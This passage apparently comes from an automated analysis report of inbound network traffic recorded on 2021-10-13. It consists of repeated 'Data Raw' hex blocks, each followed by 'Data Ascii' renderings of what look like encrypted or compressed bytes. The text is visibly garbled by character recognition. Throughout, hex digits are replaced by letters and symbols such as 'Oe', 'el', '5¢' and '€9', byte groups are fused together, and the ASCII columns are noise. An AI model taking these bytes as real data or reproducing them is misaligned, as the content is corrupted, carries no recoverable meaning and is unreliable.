a8 28 c9 c7 f3 17 3a c9 bb 38 48 6e 1f a5 ab aa b9 3a 7f 6f Oe 61 ea 42 19 7c 8d 5¢ 5¢ al 81 a9 4b fa 19 48 7c 7f ae 24 bf
d2 c6 66 26 ff 88 63 b7 b3 c0 d5 b6 al 31 9f
Data Ascii: Nw9kSAcs-R 'fM4W h8=AL,SjZC[q$6x>VmW.VAFO;m-n#pY ! TP DHhSjyX$ps3 mO9?(:8Hn:0aB|\KH|$f&cl
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:05 UTC 626 IN Data Raw: 7f ea fb 69 67 a3 89 2e 93 97 2f 6e ee c1 61 ba a6 d4 c1 13 e6 Ob 03 da 5d 7d 51 d9 14 96 74 96 1e 0a 40 9a
84 80 77 4b d8 5f 17 Oa dd f5 7f 5d 84 c2 93 29 ba 5c 33 0f b7 23 14 9a c8 bf be ff dO al 39 84 27 42 2b d2 64 4a 15 e3 3c
b1 8e b9 58 e5 4a c0 05 b7 32 3b 64 03 6b 67 78 1d 78 f4 9f 86 27 44 d3 3c 56 7c bf 54 8e Ob 1f 37 84 4e a7 el 72 36 ad
0a 44 0a 30 c3 68 cd 9b ec 91 6d b2 6¢ 39 c7 4c f6 28 bd ac 36 7f fd 3c 4d 54 33 69 9f f9 34 c8 37 ec 2a 38 6e 70 c8 de 11
67 98 dd 72 82 f9 ec c8 38 82 67 7a c6 e5 70 34 6 f4 2b 3b 1a 58 c2 3c d1 66 5d 92 f7 57 89 81 93 f4 ec 7b 40 9f 40 Oa 9d
da 60 b4 53 4e a9 84 2a 64 b3 b9 ab ff 22 f4 f4 39 fd 06 66 1e e3 dO c5 c3 42 bb 5f be dd 03 6b 25 3a Oc 84 c8 75 16 25 0f
ed a8 e6 63 e2 81 82 25 84 47 al 5b ea a8 17
Data Ascii: ig./na]}Qt@wK_])\3#9'B+dJ<XJ2;dkgxx'D<V|T7Nr6 DOhmI9L(6<MT3i47*8npgr8gzp4+;X<flW{@@ SN*d"
9fB_k%:u%c%G[

2021-10-13 13:52:05 UTC 628 IN Data Raw: 41 a8 66 46 c9 2b ff b5 b6 23 36 ee 35 d8 b1 8e 94 de 9b 51 b8 e9 2a 93 78 53 ac 6f a6 18 7a 3c 78 44 08 8d
93 al 54 83 1a 1la 1d 17 b1 d8 25 10 6e 6e 71 3f 4f 75 c9 36 Of 78 55 d8 ac 1a Of 5b 2d 6d Oe 4a fO 17 65 c3 fe a4 38 60
0b Of b9 ac b6 99 28 a7 6e 8b a3 91 7e 2f 07 88 22 e4 34 ab 1c el 1b f8 84 b2 52 8d 43 e6 b5 a6 a2 9c 11 09 1c d9 ed 68
39 cadl a4 4e bl c3c6c7dl el bb 45 9d b5 06 28 dc 6b cb f1 34 80 46 37 b3 e7 dc 6e d8 ff c7 79 68 ea b5 01 17 d6 5b
250 e5c9 34 27 64 8e 8a 54 f3 78 cd c8 ac 5b 66 4d 47 ea fc 69 c4 5a 49 a7 03 4c 93 dc c4 f8 c3 58 f4 68 4e 96 2a 42
c7 d1 2f 30 ee fa 80 af 76 17 03 b5 35 cb cd f7 96 7a 3a 04 3f 70 de ba 22 a1 0d 30 1c 79 70 4c 32 fc 24 bc 57 a3 f8 ¢1 91
8b bb 64 0f bc d2 da 29 62 dc c6 9e 3a 94 3f 67 c2 50
Data Ascii: AfF+#65Q*xS0z<xDT%nnq?0u6xU[-mJe8’ (n~/"4RChINE(k4F7nyh[%4'dTX[fMGiZILXhN*B/0v5z:?p"0ypL2
$wd)b:?gP

2021-10-13 13:52:05 UTC 629 IN Data Raw: 90 40 c1 de 41 ee 5c af 84 32 39 4f 94 59 01 3e 68 3b 6a 5d 5e 27 42 cb 14 14 6a 8c 9a 7c 29 ce 15 77 c2 9e
6a 0e ae 81 d4 6d dc 1c ed 6d c4 ef ef ca f7 11 fd 51 69 9b cc 92 e5 b7 49 9e 1a 23 38 6a ad cf dc 90 08 89 bb 38 57 4c
5365 98 57 a9 51 84 7a 14 b5 53 be 3b 0f c2 b9 27 f8 9b d8 fa 0a 56 d6 b7 f7 87 d8 17 70 3a 0a 9d 5f cd 49 bd d1 Oa 61
43 ff 89 9d 56 dO 84 a9 27 1f bb b6 e0 57 15 24 a9 6f bb de f4 8c da bb 61 b8 14 73 €9 18 a4 1c 80 32 f2 9c 68 22 c0 3f a0
f2 eb 33 95 9e 60 4e b8 5d f6 92 be d5 b4 aa 97 52 1e 09 Oa 7c ec 2b dO c3 ca 15 b3 f5 3¢ 96 a4 9¢ 19 bc el 36 79 08 2c
62 97 90 €9 66 fd d9 7b 8f 1b bf 55 c0 a5 e9 b2 34 51 80 2f fd 1c €9 80 f4 1c d6 74 e4 7a 06 8a ef eb 37 9a 5d 3e b6 1b 6f
c4 75 36 da 61 bc b8 3f 4e d3 ff 6b a8 d4 5b d6 93
Data Ascii: @A\290Y>h;j]"'Bj|)wjmmQil#8j8WLSeWQzS;'Vp:_laCV'W$oas2h"?3 N]R|+<6y, bf{U4Q/tz7]>ou6a?NK[

2021-10-13 13:52:05 UTC 630 IN Data Raw: 49 70 b8 0b 89 e7 85 d6 89 02 52 ed a7 44 27 3c 1d 37 df 3b 3a c0 14 92 b9 fa d8 10 22 36 62 2b e0 d8 bb 15
05 32 fa d8 df 26 6e d5 fc 66 ca b2 00 e5 6a 68 de 20 ed b5 cd 03 9f 7e 0d 43 b7 56 el 03 a5 57 7f 61 c2 28 25 e0 20 42
5e d7 24 d1 59 al 07 92 c9 ea 60 €8 0d 85 b0 e2 71 90 16 e7 ef d5 ef 16 7a 5¢ 71 36 aa 03 26 a6 21 75 67 11 c7 e6 99 13
bl 4e 45 61 3c 93 91 41 8d ba 38 a0 93 al 62 43 ee dc dd 63 b9 e2 d9 d7 23 c5 fc 9a 7d 99 75 a5 e2 9d b6 95 6f b6 7d a9
1ba9 21 2573 61 04 db 73 71 e7 87 a4 cb 50 c4 9c 33 d4 85 a9 17 25 8f ab 65 e6 03 a3 5f bc 73 3d 82 7e d9 c6 5a 4b d8
cd c¢7 9d b8 69 90 38 78 69 d9 a6 03 3f a9 64 97 28 6d ed 11 cO 46 ad cb 5c 64 e6 5b 46 ff 62 7f 53 al 01 d2 1a 90 78 Oe
6¢ 7b ac 7b 51 60 ce 51 a2 71 03 00 3f 74 96 29 3f 40 35
Data Ascii: IpRD'<7;:"6b+2&nfjh ~CVWa(% B"$Y qz\q6&!ugNEa<A8bCc#}uo}!%sasqP3%e_s=~ZKi8xi?d(mF\d[FbSx
Q' Qa?t)?@5

2021-10-13 13:52:05 UTC 631 IN Data Raw: b9 74 d4 ef 21 d8 63 cf Od fa 42 46 3a 8a 19 4c b5 24 b1 f1 84 77 4b Oe 55 c4 1e 58 eb 77 42 41 el 43 bb 24
c8 86 d9 b7 fe b7 09 47 6¢ 9c fe b3 96 e5 b8 6e 46 5a 5f 3f el 5¢ bf 9b 1f bc 69 20 b9 66 48 c7 1f ec 08 ff 4b d2 3e 4a be
c5 8e 30 c8 a6 6a 2e 5b 63 e2 6d 9e cc ac 9c 9d d2 f9 c2 ¢9 22 00 79 df 6a 4d 2d 3c 48 35 26 f2 27 a2 82 58 d4 3f fe d7
5a 21 d2 d9 49 22 4f 75 28 28 31 a4 fd db f8 03 61 b7 86 9f ac 7a 76 e4 b9 d9 3b 0d 7a 99 81 d8 65 6e 8b 89 01 05 de ce
7c 74 22 9e 53 5b a6 e6 80 f4 1b c0 ba 97 80 a5 e6 3c b2 7e fa b7 be €8 24 06 25 fa c8 47 97 23 ¢6 30 1b c7 62 10 e4 cd
4e 6a 21 0a 59 d9 31 db d9 1c f4 41 f3 11 65 13 52 20 46 59 5d 17 6e e5 ee 77 f0 b3 10 68 ab dc ¢3 cd 3d b9 ¢3 Oc 0b 77
8a 4f Oc ab 8a d1 b8 76 80 a9 05 c1 ee 25 a2 92 8a 4f
Data Ascii: tIcBF:LSWKUXWBACS$GInFZ_?\i fHK>JO0j.[cm"yjM-<H5&X?Z!I"Ou((1azv;zen|t"S[<~$%G#0bNj!'Y1AeR
FY]nwh=wOv%O

2021-10-13 13:52:05 UTC 632 IN Data Raw: ea 09 49 a9 21 56 ba 25 4d 14 8d 40 54 d6 2c 63 b3 52 fe 03 f8 d9 ff 5a 3c ad dd 48 28 ba af e0 46 eb 4d b6 c6

d7 45 f1 15 6d ac 22 b9 4c Oe 91 d9 62 55 6a 3f 8b 0f b0 08 b9 4d 6e b3 72 75 cc €9 64 63 24 8f 5d 0a 01 16 b4 81 f8 71
51 dc 19 46 4c fd d9 24 61 b1 65 53 c9 40 09 e7 65 b0 f5 b6 99 be 9f bf 32 55 73 a9 90 c8 1d 4e a4 38 67 €9 79 be b7 82
72 1e 82 db fd 5d 60 9c 5a 1e 87 0d 58 b3 a9 ee e7 6f 5 a7 4d 61 28 db 5f fa 9f 82 ed 72 96 47 84 54 52 84 2c 82 50 9c
€9 cl 46 a2 3e 38 0f e7 f7 c9 68 14 a7 03 3e b9 9b 77 Oe dc cO 74 39 03 90 e6 b7 69 5f Ob 46 b8 bb 7c bf f8 7a 2d 32 13
8d 76 le 9a d2 ce 87 7f 2a bc 83 94 83 41 e8 90 a7 7a a8 f6 ¢3 0a Oa 19 df b1 3b 7d c4 7f 53 2f 2d 3a 72 57 43 ac 1b a5
18 a5 d6 b6 b8 71 00 ad db 60 d5 33 fa ae 7c 46 43 ab

Data Ascii: I'V%M@T,cRZ<H(FMEm"LbUj?Mnrudc$]qQFL$aeS@e2UsN8gyr] ZXoMa(_rGTR,PF>8h>wt9i_F|z-2v*Az;}S/-
IT'WCq'3|FC

2021-10-13 13:52:05 UTC 634 IN Data Raw: f5 2 29 e0 bb 86 18 10 4f 83 d7 28 f1 74 Oe 52 e8 80 81 14 bc a8 f6 87 03 b5 d7 4c 38 30 07 55 6b 6e €8 ed 52
a7 75 21 4f b5 €9 67 b2 c1 16 78 25 60 09 22 19 38 f8 49 f1 7c €8 e ea 65 28 56 ef 28 bd Ob 8d ac 9a 3a 02 e7 8e 95 al
f7 06 27 34 7b be 20 73 f3 a2 ¢3 31 ae 74 84 85 f3 2a ba 7a d8 64 c6 27 95 61 4f €9 d2 3b e5 46 ad 43 f4 c0 6e 1b f6 €2
ed 1d 77 ac 8b 77 30 65 f8 08 64 70 e3 e6 3b 1f 47 df b0 44 80 27 d2 93 80 ¢7 14 41 32 19 0f €0 bc b5 72 c6 d2 dd 15 5¢
2b 7d da 51 21 ba 6c 6¢ df cf €0 f2 5b f1 be a8 35 85 0b 8d 64 4c 28 30 cf 98 98 14 6e 12 57 11 d1 el 63 cc 56 d8 ba 5e
70 57 51 d5 b2 ed fd 52 45 bf c1 62 80 15 f5 2f ca a4 f8 41 60 0a 82 66 43 7f 15 cf 51 b8 df 57 Ob b3 71 a9 €3 05 df 93 4e
86 79 f4 ¢8 18 95 22 37 f2 43 f0 17 83 a3 60 12 f2
Data Ascii: )O(tRL8OUKNRUIOgx% "'8l|e(V(:'4{ s1t*zd'a0;FCnww0edp;GD'A2n+}QII[5dL(ONWCVAPWQRED/A TCQ
WgNy'7C®

2021-10-13 13:52:05 UTC 635 IN Data Raw: a3 d4 b6 f6 83 b8 df 44 31 9b 8c bf ae 3¢ 3b bc 7e ¢7 bc d1 98 2a a8 63 64 28 92 49 1d 61 9b 13 f9 bc 08 26 de
713095 72 c0 8b c0 73 27 7f af a0 7f b5 76 6f 44 75 9e fc 45 c9 47 33 06 b6 Of 74 16 49 4a 95 0f ad 69 d8 38 09 b1 ac b6
b3 fa e4 26 6e 91 b3 4d 71 82 4d 36 16 ff 51 2b d5 c0 d2 8a f6 d6 e6 b7 cf c2 91 ac {7 9c df 4a e4 19 56 2c e4 33 d4 8a la
52 96 18 44 24 70 5 9e a6 15 96 €9 01 79 ab b4 2b 7c 8f 86 80 ae fb 2b 00 14 cb al 22 17 ef dd a5 70 18 f8 b2 5f 07 c3
31 3f10 72 ab b1 26 d5 63 18 d4 ee fd 2d f0 58 el 5b 27 be 33 fc 27 fa ce 87 1b fa 8f 7d 41 22 62 0a e7 68 c4 7d 23 f3 90
ea 72 32 66 1c f6 2b f8 46 57 29 6e 64 d2 a4 f7 4a 82 07 aa 63 d7 14 05 d1 5d 58 53 5a 9b 4d 67 fc 5b 2¢ 41 €9 c7 ec 4a
98 de 38 8¢ 01 ¢5 55 b6 dc d1 66 a2 a2 5e 73
Data Ascii: D1<;~*cd(la&q0rs'voDUEG3tlJi8&nMgM6Q+JV,3RDS$py+|+"p_12r&c-X['3TA"bh}#r2f+FW)ndJc]XSZMg[,AJ8Uf s

2021-10-13 13:52:05 UTC 636 IN Data Raw: 21 d2 ce c2 17 73 18 ¢6 f8 92 47 b7 57 01 4c 44 cd 27 ac 19 7c eb af el 2c ea 44 8e 8 3b dO 7d 48 5d 2e e9 a2
dc a3 28 6¢ 67 69 fa el 79 86 72 16 64 71 32 fc ce 4b 83 2f 7b dd 47 e5 25 4d 3e a3 Of 5e 9f ea a5 21 e7 f5 e8 b0 a6 76
6d 0f 79 9e ed d9 87 86 al 09 01 15 05 7e 87 2e 40 a3 57 2d 8a el b8 01 3a 72 a7 95 d9 b9 8f 73 75 56 66 de 9c d7 09
1858 bl 44 73 f0 3c 3¢ 79 a6 7f 52 f6 bb 14 07 60 42 78 bc e3 a0 be db aa e3 72 33 c1 74 {3 9f 52 fc 15 e6 d8 1a 02 d6 15
c3 69 ad 58 Oc 02 2d 07 ff 69 a0 73 9d 80 8f 92 2e cf 66 cb 40 31 57 a7 fe cf Of 10 8e cc a2 ff a6 60 b5 08 d2 ec 11 da f4
3b 31 d8 6¢ f5 37 97 79 50 fe d2 6e 08 ea 75 17 30 33 83 ad Ob 27 d3 83 74 fd bf 0f b4 80 e7 71 fe 6a bf ce €9 99 ac 52 9d
14 1d a8 4f 52 36 d7 da d3 0f 96 65 92 95 c1 7c
Data Ascii: IsGWLD'|,D;}H].(Igiyrdg2K{G%M> vmy~. @W-:rsuVfXDs<<yR'Bxr3tRiX-is.f@1W;117yPnu03'tqjROR6e|
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:05 UTC 637 IN Data Raw: 20 cc c¢3 d9 8f 43 d4 09 d5 13 79 52 8a 81 a0 4e 0d a6 f4 5¢c 07 ed ac 53 d4 06 3d e4 7c ea ff 5a €8 d8 6d 69 16
af 6f 9d 76 49 da 9f e8 14 ea 52 84 1e 13 38 19 5d e7 cc 97 8a 17 82 73 6e 9e 27 34 be 76 71 77 0a d0 60 67 6d 18 cc 34
9c de 3c 2a 46 41 ae 8f 3b 14 49 7f 4b 87 44 7f 6e fc f4 Of 9d 61 e0 4d 8b 43 al aa b0 5c c2 cf 94 62 34 b6 46 34 70 d6 c7
a6 16 al 31 a6 7b 8d 85 f3 50 8a 72 40 f4 11 17 66 6¢ 42 74 98 04 29 7b 9c 50 41 9e be 40 e4 5e 1b e3 16 60 b5 60 42 e3
5c 04 b5 73 b9 8f 39 f3 1e 98 7a 51 65 02 ae d6 b5 c0 4d c1 28 2c 4c 94 57 6a cf a8 c7 9f 24 01 2f 57 d2 33 56 7c 59 50
54 5¢ 57 84 7a 5b 96 40 5e e6 12 ca 72 ¢5 90 1a 6d 7c cf 1b c9 29 f0 87 €6 f6 2c 71 4a d2 f1 28 46 51 92 9f 15 3e 88 dc
24 d6 35 ce b7 a8 d8 d3 c4 05 79 70 d7 65 85 4d 22
Data Ascii: CyRN\S=|ZmiovIR8]sn'4vqw gm4<*FA;IKDnaMC\b4F4p1{Pr@fIBt)}{PA@" "B\s9zQeM(,LW|$/W3V|YPT\W
z[@"rm]),qJ(FQ>$5ypeM"

2021-10-13 13:52:05 UTC 639 IN Data Raw: 2e c8 cc al 46 47 84 7a d4 01 e7 63 9d ad 72 cc b9 60 2 bd ec ac a7 2c 04 25 18 6f 4f 08 ef 71 55 a3 44 e4 20
c7 3f57 96 78 67 e0 d1 da f1 b3 45 5b 66 4d 1a 71 68 8d ca 16 1f be d3 35 64 8b 28 47 1le 3c 48 ec 41 €3 90 89 13 8e 5b
10 d2 8f 37 db c2 af f9 29 e0 60 59 Oc 55 f8 a0 08 03 2a a8 e6 dd 29 c9 80 de fc c5 a0 01 3c 79 7f b7 61 11 68 25 28 87 f3
25 bf 02 fc b6 8f 01 7a b8 18 93 b5 72 03 05 3f 4e be b8 7f 4f 82 41 37 85 0Oa e5 Oe cb f6 3c 04 8a 01 3f f4 ec b6 9f 89 62
2d a9 93 79 d8 96 a5 31 90 4c ce d6 5d a9 a2 92 4a cd ed 9a 14 47 59 ba 66 71 8d a4 f8 30 a2 4e 13 68 d3 45 63 37 76
354324 28 31 cb 81 0c 7a 2c d5 93 58 8e 35 23 fc 89 c0 50 b6 b6 al 73 e4 6d c9 44 02 6d 08 dd 09 61 01 91 51 f2 4c 88
f3 af 1b 98 df 44 e8 e6 93 e3 8c 48 58 79 6e 3e fa
Data Ascii: .FGzcr,%00qUD ?WxgE[fMgh5d(G<HA[7) Y U*)<yah%(%zr?NOA7<?b-y1L]JGYfqONhECc7v5C$(1z,X5#PsmD
maQLDHXyn>

2021-10-13 13:52:05 UTC 640 IN Data Raw: 2d a3 Oa cd d1 Oe a3 66 22 2f f1 32 29 ¢7 fd 10 67 06 41 28 55 3c 35 55 78 af 29 89 3c 09 98 b6 95 09 17 3e 9b
1c 4e 00 06 3a 2e b4 0f 60 9b 12 d6 c5 el cc 00 55 e2 98 20 54 e3 75 3d 70 ca 38 b1 40 f1 c0 dd ce 6d ac 61 d2 78 59 19
1c ad 06 5¢c cc a5 96 b6 6¢ ae 97 2e 1d 35 19 e6 ec d9 c7 67 14 a7 d3 4d 5f af 08 4c bl f6 af 40 8b a0 c2 d7 10 35 1d 69
1f c0 78 8c 82 2e 7f eb 9 59 18 d4 df 2e b0 55 4f b5 36 9b 4c 6¢ ee 19 ch 59 f9 ac 86 36 66 93 41 54 87 5a a9 df 70 1a al
44 23 b0 56 0d e3 cc b5 24 b1 c1 8f e9 88 0d 1f ea f7 39 2e 56 9f a9 9b 1f 62 fd 6e ea ac 2a db 4a c9 1b f7 21 08 e8 b5 7d
ba 88 25 42 b7 74 db c6 83 df 3c f7 c2 d5 2a 18 3c f6 42 42 d7 52 bd 98 24 74 61 cc fa 31 39 91 f4 a8 17 al 8a 3a ed 35
77 65 df 74 d4 99 dO 67 8a 45 65 d4 9c c6 d9 c2
Data Ascii: -f*/2)gA(U<5Ux)<>N:."U Tu=p8@maxY\l.5gM_L@5ix.Y.UO6LIYEfATZpD#V$9.Vbn*J!}%Bt<*<BBR$tal9:
SwetgEe

2021-10-13 13:52:05 UTC 641 IN Data Raw: 96 5d e0 3f 8d 86 76 24 55 e3 10 ee 37 64 18 f5 e5 4d 5f 6b d5 be 11 a7 3e ed dc 2a 03 d0 db 39 d3 37 6b 60
32 fd 44 3b 3b a0 ec 7f 58 36 44 01 93 80 76 96 64 b0 41 1c b7 1f 13 8e 5f aa 03 f4 45 58 37 a3 €9 7b f7 76 38 7e ae Ob
98 04 87 8e 5f d4 58 99 49 73 14 88 f5 ed 9d 3f a8 5d 3c 5e ca a0 7a e6 37 a7 fd 50 e2 16 al 47 3a 4c fa be c0 5d 12 04 ff
03 b4 9d b5 2c 41 7e d7 82 Of b5 c5 64 54 8b 29 8c 7c 72 3e 65 24 10 36 08 02 el ca 45 68 45 dc 3e e5 1b 9e 44 10 18 e2
dd 46 47 83 dc f2 76 2e d7 4e c4 cb 98 fa b6 e2 6¢ 28 el 6¢ 34 86 50 aa b4 8c 4c dd b9 53 a8 2b d0 4a f2 66 5¢ f0 58 3a
4c 7a 79 6a 7d 20 99 67 e0 4e f7 57 03 d4 49 3d d5 07 be 65 06 1c 2f 9c ef d8 cc 95 Ob b7 c6 a5 09 ab 1f ca 9a 43 7c 32
d3 46 82 32 f5 ba 4f d1 35 01 97 e7 46 ff 3a f9 b5 3b
Data Ascii: ]?v$U7dM_k>*97k 2D;;X6DvdA_EX7{v8~_XIs?]<"z7PG:L],A~dT)|r>e$6EhE>DFGV.NI(I4PLS+J\X:Lzyj}
gNWI=e/C|2F205F;;

2021-10-13 13:52:05 UTC 642 IN Data Raw: 94 ec 04 99 8 1d d2 4b 2e 11 23 el 4b 84 cf 90 20 a8 4f d9 92 37 aa 0d €0 f0 86 6a 52 da d7 f4 d9 eb Ob b2 a6
9b b6 ad 88 c4 53 08 50 99 6¢ e4 7f 5 80 Oa f6 Oa 7b 45 89 b3 58 99 84 3e 5c bd c4 f1 e9 e6 6¢ 46 13 1b 6e 66 40 53 9e
78 d9 b7 8b a7 6b 7b 8f 43 cc fa cc f2 9a b5 d2 fc dc e8 23 36 6f 66 34 66 58 98 5b 7a 2a 44 77 dc 22 6f 05 7d 2a f9 72 5a
91 c8 af 83 dc 0f 9c 19 68 35 29 c0 a6 8f 08 e4 74 eb 46 65 a8 48 56 Oc {7 4e 33 79 df 4a 29 1c 10 95 Oe 16 68 2d 87 b0
68 24 a3 a0 14 19 7e b7 e8 3c 8¢ 97 2f a3 76 c3 b7 de ba 62 1f 5b 88 50 Oa f3 e3 7d 76 6¢ 92 Oa ea e0 53 6¢ 6d 6e al 39
8 3b 54 1c Ob b1 00 d5 b9 3a 8f f3 f1 30 85 7f 3d 58 €0 62 b8 d5 7d cf 05 24 45 01 f1 5e c7 34 ed 19 4b ca 39 a0 95 9e 92
15 62 6e b5 6e Oe d2 e0 a5 01 95 5e 81 ad 90 al
Data Ascii: K.#K O7JRSPHEX>\IFnf@Sxk{C#60f4fX[z*Dw"0}*rZh5)tFeHVN3yJ)h-h$~</vb[P}vISImn9; T:0=Xb}$E"4K9bnn"

2021-10-13 13:52:05 UTC 644 IN Data Raw: 36 c9 00 bd 4d fe 09 ae c6 9c df d1 76 84 72 e8 81 f4 f3 df b7 80 a7 9e le 2d 21 43 63 ce e7 fO 7c 5d 6d 38 fO
6d 80 85 52 26 87 96 39 7c 06 c9 de bd 09 0d 87 2a 8a 66 18 3e 9b 19 98 59 6d 4a 6b 91 44 4c 4b 78 39 de 8b 6d 44 5b
4f da 4a 01 ae 42 c1 22 06 4c 59 be 23 55 d0 46 ec b0 4f aa d9 f2 a5 4c a6 7 da 4a 67 51 c8 €9 26 el 4b bf ac b1 ab 04
56 86 €9 0d ac 21 19 2d 3a b0 89 48 27 89 68 32 7c dd ed 17 0f da d7 35 b0 d2 f9 6d 2d 84 2b b2 b5 05 5a b0 79 Oc ce ec
2d 88 f5 7a 1b d5 21 df a5 78 eb fa 77 f2 8b 8b 4d 7b 48 7e 3e 4f fd 3b 3 92 4a 47 77 11 e6 26 05 49 54 fa bc 3e da 5b c7
6a 4e 6a cl d2 2b 5a 08 f2 00 76 9c 53 d0 d6 c3 3c 6e e4 aa 95 77 c9 Oc 10 c1 06 af ef 69 5¢ ¢9 67 b9 41 17 35 d4 67 Oa
47 ea f3 7f 46 91 1a e5 36 27 53 f8 ba bl 88 6f 2b 4b
Data Ascii: 6Mvr-ICc|Jm8mR&9|*f>YmJIKDLKx9MD[OJIB"LY#UFOLJIGQ&KV!-:H'h2|5m-+Zy-z!xwM{H~>0;IGW&IT>[jNj+Z
vS<nwi\gA5gGF6'So+K

2021-10-13 13:52:05 UTC 645 IN Data Raw: Oc bc 66 €0 48 8 4c 22 b7 b3 93 2e 2b c6 16 f5 96 36 ae 7b 1f 48 06 f3 50 16 ed 20 df a6 4e 4b 4f 86 b1 de b7
ab d9 49 df b6 78 26 82 b8 90 95 10 95 be 4d af 64 38 b7 11 19 45 14 69 99 41 57 21 74 80 69 84 b6 7f db 59 30 bf dc fc
dc 3f d2 34 b1 7 68 e4 18 07 b8 €0 21 a0 ff fa 14 25 09 ff d5 ed 10 31 a3 52 46 fe 1c 40 99 16 68 68 47 d2 b3 13 06 48 54
0f 92 6d 30 da bf c4 a4 55 3 3d a5 bf 13 35 93 40 0a ec 60 1d d2 9d a4 db 3f 33 f4 b9 ab dO f8 0a ca 13 d7 65 3a 5e 6b c8
1c 20 80 f4 5f ce bb be c9 7e 7f 44 6a 1e 72 3a 56 28 32 f5 fd 25 1d 1e cO 41 8b 21 al 80 83 07 3b 03 12 62 cc 64 fa 89 d3
5b 3e 7c c9 b6 72 83 ef ac dO 7c 84 18 b2 6a 52 Oc 4c 4 c6 5f 69 7b 67 a8 68 58 58 27 73 6b 11 4b 92 6b ba 45 25 60 55
ed c5 48 34 dd d7 db e f0 eb 65 fd c0 6a 33
Data Ascii: fHL".+6{HP NKOIx&MdBEIAWItiY0?24h!1%1RF@hhGHTMOU=5@ ?3e:"k _~Djr:V(2%ALbd[>[r[jRL_i{ghXX'
SkKKE% UH4ej3

2021-10-13 13:52:05 UTC 646 IN Data Raw: 03 05 4c e5 d1 d3 c9 al 80 52 28 04 fe 33 10 dd 29 89 4e 84 8c 20 a4 e0 23 d1 5e 12 3e 84 37 5¢ 4d 7e df 4f
dd cd b9 12 8a 38 e0 a5 9b 5f 96 13 d7 b8 58 cc 95 72 46 ¢3 1b d8 c9 7b fc b5 21 73 cd a9 0d 48 aa 44 55 e9 e8 72 ec 06
b5 c6 3f b8 eb 77 43 da fa dd f4 fc 1b db 53 Oc 54 24 32 d4 ee dc cb 5d b0 6d ae c2 e0 f9 62 35 50 19 f1 Of bd 31 fb 9d 51
a3 ee dcc5336bcdd261dec7 1d 2b 02 57 ce 02 be 11 aa fa 0d 50 2¢ 02 3d bf Oc 52 4a 47 e7 {7 4c b4 17 Oe 99 0d 84
03 d4 96 3b da le ff 24 b3 8d 61 42 60 9a 97 23 3e €3 73 76 a5 22 7h 43 27 c1 4e e5 5d 94 36 d5 ec 6d 1a d1 b7 2b 6f d7
8 c2 d9 08 fd eb 86 fc 6f 51 d1 Ob cd 33 Ob 93 a5 94 60 ae 89 1le b4 12 a6 da 72 5 fa db 1b 4b b4 c3 fe 9b af 39 24 24 8f
03 5¢ 2e cd 1b 1e ce 19 92 06 cc 5e 0d 36 5f 04 53
Data Ascii: LR(3)N #">7\M~08_XrF{!sHDUr?wCST$2]Jmb5P1Q3ka+WP,=RJGL;$aB #>sv"{C'N]6m+00Q3 rK9$$\."6_S

2021-10-13 13:52:05 UTC 647 IN Data Raw: 55 68 f7 43 8¢ 5a c2 e4 31 95 14 08 dd 54 37 81 01 cc le fa ac bc 8c 82 92 79 b5 63 d6 b5 92 2f e5 4a 8b 48
75 40 8d 38 ca 1f 8d Oc 01 15 5a 86 eb 2e ed fd f4 ad 65 61 7c 86 1b cd f7 8e cf f9 f4 36 17 49 24 8f 9a 0d 44 10 07 €9 07
a3 aa ae f0 28 2a ac d6 a9 9e 6b €5 40 d9 66 e6 32 13 61 32 4d 9a 8a 1d dc 1b bc dd c1 {7 88 Oe ea 41 fc ee 38 8a 76 b9
ac 21 ab 50 32 bf 73 al 8a 8c 26 fc 00 f9 6b 06 bc ba ea d3 dc ¢8 3e 32 30 6¢ a8 ch d4 46 17 94 dd e9 a7 f2 59 6¢ 72 8e
7a 67 7b 29 93 66 2f 4a 38 26 €2 93 da d5 eb 70 64 d9 64 c8 8f fd 08 ce 60 57 ee 83 a3 fd 5¢ 2e f5 Oc 21 ac cb 1a f6 d6 f9
d2 11 9a b2 21 d9 eb ea 17 7c ee ab 00 3e 43 41 52 b0 81 38 88 ff aa 00 8¢ 88 fa 93 ce 22 18 1c 5d d7 3e 00 d1 67 43 97
db 26 f0 31 bb c0 57 31 ca 64 59 fd fe cc 8f b0 a9
Data Ascii: UhCZ1T7yc/JHU@8Z.ea|61$D(*k@f2a2MA8V!P2s&k>20IFYIrzg{)f/J8&pdd W\.!!|>CAR8"]>gC&1IW1dY
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:05 UTC 648 IN Data Raw: 72 d9 6d 68 f4 ea c9 17 cd f8 29 22 3f fa al 7e 93 bb 42 85 ae dd e7 b8 d1 48 7c d2 8f 6f 55 2f ee 88 2e ab 7c
853a56c8 1bbdddal 75 a9 44 e9 69 c9 41 ff 0d 38 82 77 1b 2f d0 a0 1d 05 65 d5 d3 7a c9 9c 2a a5 d6 6e c2 37 73 6b
aa ea 59 e7 8b fa a8 df 04 d6 ee 81 e5 5¢c 99 8a 3e 54 e0 9c a4 89 74 8b c3 3a 9f 8a 1a 19 85 20 e8 70 d4 44 ee 19 41 75
9c 96 12 f4 fb 0d a6 3c 16 1e 9d a5 Oc a8 76 30 f6 94 85 61 26 f9 5a 84 9e 4f 2d 7e 11 53 60 al 1a a0 8d 93 8¢ 7a 2f 3e 1f
54 0a 1b 1a 30 3e 5a 30 bhd f6 8 8f 1e 6f 70 51 54 2f 6a 4c b0 02 99 b0 cc 22 52 09 cc bb 45 51 c7 35 ae 06 55 2f 3d 49 ae
fe af 4e 97 f2 6¢ 16 08 5a 5b c7 38 17 c8 c5 66 ff c9 65 2e 67 d0 6¢ al 2e 95 d8 1a 98 a5 Oa f4 55 24 93 ad 3d 7d 3e 8a ce
d6 58 06 78 ba a8 21 33 c¢7 d5 06 ca 42 37 6d
Data Ascii: rmh)"?~BH]|oU/.|:VuDiA8w/ez*n7skY\>Tt: pDAu<v0a&ZO-~S'z/>T0>Z0opQT/|L"REQ5U/=INIZ[8fe.gl.
U$=}>XxI3B7m

2021-10-13 13:52:05 UTC 650 IN Data Raw: b8 23 66 4d f4 6f 68 65 ae 56 9f 9e 04 3d 86 07 08 d2 05 77 b4 71 30 8b 5b 31 20 b5 2a f9 61 b5 d6 c9 e9 la
4568 b2 ad d7 8e 73 cc 25 3c 03 90 dc c2 e0 46 76 ec 07 fe 1c 5d 38 af a8 f8 2c 81 75 75 91 8e f6 d7 12 83 03 6e c8 25
